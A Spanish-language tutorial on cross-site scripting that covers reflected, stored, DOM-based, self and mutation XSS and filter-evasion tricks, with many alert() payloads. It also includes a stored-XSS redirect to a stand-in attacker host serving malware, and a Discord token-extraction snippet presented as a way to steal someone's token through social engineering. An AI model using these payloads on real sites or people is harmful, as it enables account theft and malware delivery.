XSS - Cross Site Scripting

web hacking

XSS (Cross-Site Scripting) es una vulnerabilidad de seguridad web que permite a un atacante inyectar código malicioso en páginas web que son visitadas por otros usuarios. Este código se ejecuta en el navegador del usuario, permitiendo al atacante realizar acciones maliciosas como robar información, redirigir a sitios maliciosos, desfigurar la página web, entre otros.

Conceptos clave:

  • Etiquetas: fragmentos de código que definen la estructura y el contenido de una página web, indicando al navegador cómo mostrar la información.

  • Atributos: valores adicionales que se añaden a las etiquetas de apertura de los elementos para configurar su comportamiento y proporcionar información extra sobre ellos.

  • Manejadores de eventos: funciones en JavaScript que se ejecutan en respuesta a una acción del usuario o a un evento en el navegador.

  • Anclaje: En las páginas HTML, el hashtag (#) se utiliza principalmente como ancla para enlazar a una sección específica dentro de la misma página web, o como un marcador de posición en enlaces que aún no tienen un destino definido.

el XSS es un ataque avanzado y hay varias formas de explotarlo (tipos)

XSS Reflejado (reflected XSS)

el XSS reflejado consiste en enviar código malicioso por la URL, formularios o entradas y que el servidor refleje automáticamente en la respuesta sin ser almacenado. A este ataque también se le conoce como XSS no persistente.

XSS reflejado básico

<script>alert()</script>

es el payload de XSS reflejado mas básico y común, se basa en utilizar las etiquetas <script> para ejecutar la función alert()la cual inicia una ventana pop-up, en este caso vacía pero podemos introducir números o strings.

<img src=0 onerror=alert()></img>

en este otro caso, utilizamos la etiqueta <img> que se encarga de cargar imágenes, le indicamos que la imagen debe cargarse desde un origen erróneo (0) esto desencadena un error, entonces indicamos que si hay un error en la carga se ejecutara un alert()

XSS reflejado burlando Codificación HTML mediante inyección de atributos (sanitización deficiente)

muchas aplicaciones web tratan de prevenir XSS al codificar signos utilizados comúnmente como los Brackets (<>) esto evita insertar etiquetas comunes, pero si no se escapan correctamente ciertos símbolos como las comillas en un atributo, el atacante puede cerrar este mismo e inyectar código nuevo, generalmente usando manejadores de eventos:

" onmouseover="alert(0)'
" onmouseover="alert(0)

se cierra el atributo original, se inyecta uno nuevo y cuando se activa, la alerta es desencadenada. En este caso el atributo onmouseover es desencadenado al pasar el mouse.

XSS por inyección de atributos mediante variables reflejadas

otro caso de inyección de atributos es el siguiente, este caso es aplicable cuando se reflejan variables como cadenas, lo cual nos permite cerrar las mismas con caracteres especiales y posteriormente inyectar código adicional:

hola'; alert("XSS"); var variable1='test
hola'; alert("XSS"); let variable2='test

# o simplemente usar
hola';alert(0);'

XSS por inyeccion de atributos burlando encoding de brackets

'-alert(1)-'

XSS Persistente o almacenado (stored XSS)

el XSS persistente consiste en enviar código malicioso al servidor, este código se quedara ahí para siempre, si logras un XSS en un mensaje de texto o un foro por ejemplo, ese código se quedara ahí estáticamente y se ejecutara cada vez que un usuario acceda al contenido. Como ejemplo, imaginemos que encontramos un XSS Persistente en un foro como reddit, y procedemos a publicar el siguiente comentario:

<script>document.location='http://atacante.devil/malware'</script>

cuando un usuario vea el comentario será redirigido a descargar un malware en el servidor del atacante.

XSS persistente abusando de href

  • En HTML, href es un atributo que se utiliza en la etiqueta <a> (ancla) para definir la URL (dirección web) a la que apunta un enlace. En otras palabras, href especifica el destino del enlace, indicando a dónde será dirigido el usuario cuando haga clic en él. Se utiliza para crear enlaces tanto internos (dentro del mismo sitio web) como externos (a otros sitios web).

http://javascript:alert()
# HTML injection a XSS
<a href="javascript:alert(0);"></a>
<a href="javascript:alert(0);">Dame click</a>

DOM-based XSS

Las siglas DOM significan Document Object Model, o lo que es lo mismo, la estructura de un documento HTML. Una página HTML está formada por múltiples etiquetas HTML, anidadas una dentro de otra, formando un árbol de etiquetas relacionadas entre sí, que se denomina árbol DOM (o simplemente DOM).

el DOM-based XSS es donde el código malicioso nunca pasa por el servidor, sino que se ejecuta directamente en el navegador, aprovechando cómo el JavaScript del lado cliente maneja el DOM (Document Object Model).

DOM-based XSS por abuso de anclajes (#)

Supongamos que en una web, esta este código JS y HTML vulnerables

// JavaScript vulnerable
let nombre = location.hash.substring(1); // toma lo que viene en la URL después de "#"
document.getElementById("saludo").innerHTML = "Hola " + nombre;
HTML
<div id="saludo"></div>

cuando visitas el sitio con tu nombre, por ejemplo :

https://ejemplo.com/#Phoenix

la respuesta debería ser "Hola Phoenix", pero podemos explotarlo como no esta sanitizado :

https://ejemplo.com/#<script>alert("XSS")</script>
https://ejemplo.com/#<img src=0 onerror=alert()>

como JavaScript inserta directamente el contenido del hash al DOM sin escape, el navegador lo interpreta como HTML y ejecutara el código malicioso. Como el ataque se ejecuta sin pasar por el servidor, lo hace invisible hacia los logs.

DOM-based XSS cerrando el arbol DOM

"><script>alert()</script>

este payload, trata de cerrar la etiqueta anterior para iniciar un par de nuevas, las cuales se derivan a la ejecución de un alert.

DOM-based XSS explotando document.write

los bloques de código con funciones document.write son fácilmente vulnerables a ataques XSS ya que este método que permite escribir texto directamente en un documento HTML, usualmente en la ventana del navegador. Es una forma de generar contenido dinámico y mostrarlo en la página web.

generalmente se usa en POST, pero podemos convertir estas solicitudes a GET para enviar nuestro código malicioso, por ejemplo en la URL:

https://ejemplo.com/objetos?id=2&data=XSS_test

DOM-based XSS reflejado (eval abuse)

  • En JavaScript, eval() es una función global que evalúa una cadena como código JavaScript. Si la cadena contiene una expresión, eval() la evalúa y devuelve el resultado. Si la cadena contiene un bloque de código, eval() lo ejecuta. Básicamente, permite ejecutar código JavaScript dinámicamente a partir de una cadena de texto.

una pagina que use eval() es propensa a ser vulnerable, ya que esta función por su comportamiento es muy peligrosa, por ejemplo:

imagina una calculadora Online que define las operaciones desde la URL:

calculadora.com/calcular?ecuacion=1+1

cuando javascript consigue el valor de ecuacion usa eval() para calcular el resultado. Pero la URL es modificable, y esto nos permite hacer cosas:

calculadora.com/calcular?ecuacion=alert("XSS")

ahora cuando un usuario visite esta URL, se llama a eval() por el parámetro de ecuación que es un alert(), por lo que este JS será ejecutado.

Self-XSS

el usuario se engaña a si mismo (es engañado) para ejecutar código malicioso por su cuenta, generalmente en la consola del navegador, por lo que lógicamente no es una vulnerabilidad reportable, pero podría servir como consejo de seguridad si no hay ninguna medida en contra de el como se vera en unos momentos:

Imaginemos que, estamos en Discord y queremos conseguir el token de alguien desprevenido, utilizamos ingenieria social para que ejecute este código en la consola del navegador y luego nos pase el token :

(webpackChunkdiscord_app.push([[''],{},e=>{m=[];for(let c in e.c)m.push(e.c[c])}]),m).find(m=>m?.exports?.default?.getToken!==void 0).exports.default.getToken()
# fuente: https://gist.github.com/XielQs/90ab13b0c61c6888dae329199ea6aff3 (elimina esta linea)

pero probablemente nuestro ataque no funcionara porque Discord lanza esta alerta al entrar a la consola del navegador :

este tipo de alertas de usa en muchas webs para prevenir el self-XSS, lo que hace mas difícil ejecutar el ataque a menos de que tengas un engaño limpio.

XSS Mutado (MXSS)

es un tipo más avanzado y menos obvio de Cross-Site Scripting, específicamente del basado en DOM que aprovecha la forma en que los navegadores interpretan y "corrigen" HTML malformado. A veces, incluso si el código parece seguro, el navegador "lo reinterpreta" y termina ejecutando código malicioso.

si no lo has entendido bien, te lo desgloso :

  • el atacante inyecta código incompleto o que parece ser inofensivo

  • el navegador trata de corregirlo cuando el DOM hace su trabajo

  • se da lugar a que se forme el script ejecutable, por lo que el navegador ha mutado el HTML para crear un vector de XSS en donde no había

Desglosemos mas con un ejemplo :

<svg><desc><![CDATA[</desc><script>alert(1)</script>]]></svg>

este código se ve aparentemente inofensivo, pero el navegador al interpretarlo reorganiza las etiquetas incorrectamente

<svg>
  <desc></desc>
  <script>alert(1)</script>
</svg>

y se ejecuta nuestro alert.

Bypasses de seguridad contra XSS

Muchas veces, las tecnologías modernas como el WAF o buenas practicas como la sanitización de entradas nos bloquean las posibilidades de encontrar vulnerabilidades como en este caso el XSS, pero si estas medidas de seguridad se aplican de forma errónea podemos burlarlas de diferentes maneras. Veremos algunas técnicas :

Uso de Uppercase

  • a veces las webs sanitizan palabras clave como script que es la etiqueta mas usada para los XSS, pero no piensan en que podemos hacer un Uppercase, por ejemplo :

<sCript>alert("XSS")</sCript>

podemos poner el Uppercase a cualquier letra de las etiquetas.

Encoding y Codificación

hacer url encode o base64 URL encode para hacerlo menos detectable por los sistemas de seguridad ejemplo :

# Normal
<script>alert("XSS")</script>

# URL encode
%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E

# base64
PHNjcmlwdD5hbGVydCgiWFNTIik8L3NjcmlwdD4=

Otras etiquetas

  • podemos hacer fuerza bruta de diversas etiquetas y manejadores de eventos para ver por cual es factible un posible XSS

Last updated